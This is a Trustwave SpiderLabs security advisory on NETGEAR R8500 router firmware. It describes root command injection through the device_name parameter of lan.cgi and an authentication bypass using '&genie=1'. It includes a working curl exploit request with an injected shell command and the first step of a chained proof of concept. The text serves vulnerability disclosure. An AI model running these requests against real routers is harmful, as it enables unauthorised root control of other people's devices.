Trustwave SpiderLabs Security Advisory TWSL2018-003: Vulnerabilities in NETGEAR R8500 router firmware Published: 02/07/2018 Version: 1.0 Vendor: NETGEAR (www.netgear.com) Product: NETGEAR R8500 router (firmware) Version affected: 1.0.2.94_1.0.79, possibly earlier versions Product description: NETGEAR R8500 router is a complex piece of hardware and software which provides functions such as remote management via web interface, USB storage support and many others. Finding 1: root level OS command execution via injection in the device_name parameter on the lan.cgi page R8500 Web management UI provides a page to manage LAN settings (lan.cgi). The page uses multiple parameters, one of them is not sanitized properly and used to build shell command which is executed as root. This makes it possible to gain complete control over the router if access to the lan.cgi is gained. Example attack: curl -d "action=Apply&device_name=A%22+%26%26+touch+%2Ftmp%2Fjimmers+%26%26+echo+%22B&sysLANIPAddr1=192&sysLANIPAddr2=168&sysLANIPAddr3=1&sysLANIPAddr4=1&sysLANSubnetMask1=255&sysLANSubnetMask2=255&sysLANSubnetMask3=255&sysLANSubnetMask4=0&rip_direction=1&sysRIPVersion=Disabled&dhcp_server=dhcp_server&sysPoolStartingAddr4=2&sysPoolFinishAddr4=254&select=-1&arp_enable=disable&ipmac_token=0&dev_name=R8500mge&lan_ipaddr=192.168.1.1&lan_netmask=255.255.255.0&rip_enable=0&rip_multicast=1" http://192.168.1.1/lan.cgi?id=988337b27ba1f3cdc280e454860f8b10d84e42da Note that after the above is executed, there is a file /tmp/jimmers owned by root. The command could fetch and execute arbitrary code from remote URL. Finding 2: Bypassing basic authentication by adding &genie=1 to the query string Logic of the parse_http_request function allows any user to bypass BASIC authentication by adding "genie" to the query string. Chained with previously reported findings (namely recovering session ID from MNU_top.htm and arbitrary code execution via the lan.cgi page) this allows arbitrary code execution on router as root user. Complete POC: 1. Get CSRF hash: curl http://192.168.1.1/MNU_top.htm | grep "id="